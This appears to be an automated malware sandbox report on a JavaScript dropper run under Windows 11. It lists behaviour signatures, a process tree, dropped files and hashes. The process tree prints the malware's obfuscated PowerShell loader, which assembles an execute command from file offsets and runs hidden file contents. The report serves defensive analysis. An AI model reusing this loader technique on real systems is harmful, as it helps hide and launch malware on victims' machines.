Overview

overview

10

Static

static

5

_193dfceab...b07.js

windows10-2004-x64

10

_193dfceab...b07.js

windows11-21h2-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 13:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _193dfceab5a4746393c441e2994b8b2c258ddabc1b202b6982acc854e599eb07.js
  • Size 195KB
  • Sample260602-qd2rpse17q
  • SHA256 193dfceab5a4746393c441e2994b8b2c258ddabc1b202b6982acc854e599eb07
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\_193dfceab5a4746393c441e2994b8b2c258ddabc1b202b6982acc854e599eb07.js
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Delikates.lnk"
      2⤵
        PID:4156
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4748
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c START "disbe" /min powershell.exe -Command "$Varigstes=($HOME+'/app'+'data/local/Stabil');$perce=gc $Varigstes;$Chloro=$perce[3920]+$perce[3921]+$perce[3922]; . ($Chloro) $perce" && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command "$Varigstes=($HOME+'/app'+'data/local/Stabil');$perce=gc $Varigstes;$Chloro=$perce[3920]+$perce[3921]+$perce[3922]; . ($Chloro) $perce"
          3⤵
          • Badlisted process makes network request
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Varigstes=($HOME+'/app'+'data/local/Stabil');$perce=gc $Varigstes;$Chloro=$perce[3920]+$perce[3921]+$perce[3922]; . ($Chloro) $perce"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe"
        2⤵
          PID:928

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 0922a7d0b56e0c901a13d1617f99d752aa2abf5201089749005ecf7b413b4a91
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Delikates.lnk
            • Path C:\Users\Admin\AppData\Local\Temp\Delikates.lnk
            • Size 1KB
            • SHA256 25853c4e9722fa31e261d579a0bfbf6610f7c74b2f677b071a7bc94689f1a312
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_k23xxhi5.545.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k23xxhi5.545.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            bogmess.Ser
            • Path C:\Users\Admin\AppData\Roaming\bogmess.Ser
            • Size 568KB
            • SHA256 98b474f3927fdf99646ac5001efdbb1ce9e968545fe85f5703438baf973fe8e3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Stabil
            • Path C:\Users\Admin\appdata\local\Stabil
            • Size 3KB
            • SHA256 553ee15e519090f7b807e62e3fb023726a0a804710b611b43a4abf2d37f67af7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/928-31-0x00000206F6F80000-0x00000206F7018000-memory.dmp
            Download

            memory/1184-30-0x00000201677D0000-0x0000020168DB9000-memory.dmp
            Download

            memory/4564-15-0x000001BD284D0000-0x000001BD284F2000-memory.dmp
            Download